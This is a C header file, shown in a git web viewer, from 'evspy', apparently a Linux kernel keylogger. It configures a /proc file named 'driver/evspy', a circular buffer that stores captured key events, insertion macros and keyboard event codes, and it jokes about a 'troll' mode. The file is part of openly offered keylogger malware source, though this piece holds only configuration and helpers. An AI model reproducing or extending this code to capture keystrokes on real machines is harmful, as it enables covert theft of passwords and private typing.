blob: 1575b7188f839ac9ae0dda679bf355c3ca40e967 (
plain) (
blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
|
#include "maps.h"
#define EVS_MAP map_es // change this to your keyboard layout
#define EVS_TROLL 1 // clear this if you're a serious guy
#define EVS_PROCNAME "driver/evspy" // virtual file within /proc
#define EVS_BUFSIZE PAGE_SIZE // size of the circular buffer
//#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
#define MIN(x, y) (x) < (y) ? (x) : (y)
/*
* If pointer is at the end of buffer, put it at the beginning.
* If not, simply add 1 to it.
*/
#define evs_incp(p) \
({ \
if (p == &buffer[EVS_BUFSIZE-1]) \
p = buffer; \
else \
p++; \
p; \
})
/*
* Insert a character where wrp is pointing and move it to the next char.
* If rdp == wrp, increase rdp too.
*/
#define evs_insrt(c) \
({ \
*wrp = c; \
if (evs_incp(wrp) == rdp) \
evs_incp(rdp); \
})
/*
* Is the c event code associated to any of the FX buttons?
* NOTE: F1-F10 events are consecutive numbers, but F11 & F12 are not. (?)
*/
#define isfX(c) \
({ \
(c >= EVS_COD_F1 && c <= EVS_COD_F10) || \
(c == EVS_COD_F11 || c == EVS_COD_F12); \
})
// Bloq mayus has its own type
#define EVS_TYPE_BLKMAYUS 17
// Event values
#define EVS_VAL_FREE 0
#define EVS_VAL_PRESS 1
#define EVS_VAL_HOLD 2
// Event codes
#define EVS_COD_ESC 1
#define EVS_COD_TAB 15
#define EVS_COD_LCTRL 29
#define EVS_COD_LMAYUS 42
#define EVS_COD_DOT 52
#define EVS_COD_RMAYUS 54
#define EVS_COD_ALT 56
#define EVS_COD_BLKMAYUS 58
#define EVS_COD_F1 59
#define EVS_COD_F10 68
#define EVS_COD_F11 87
#define EVS_COD_F12 88
#define EVS_COD_RCTRL 97
#define EVS_COD_ALTGR 100
#define EVS_COD_UP_AR 103
#define EVS_COD_DOWN_AR 108
#define EVS_COD_LEFT_AR 105
#define EVS_COD_RIGHT_AR 106
|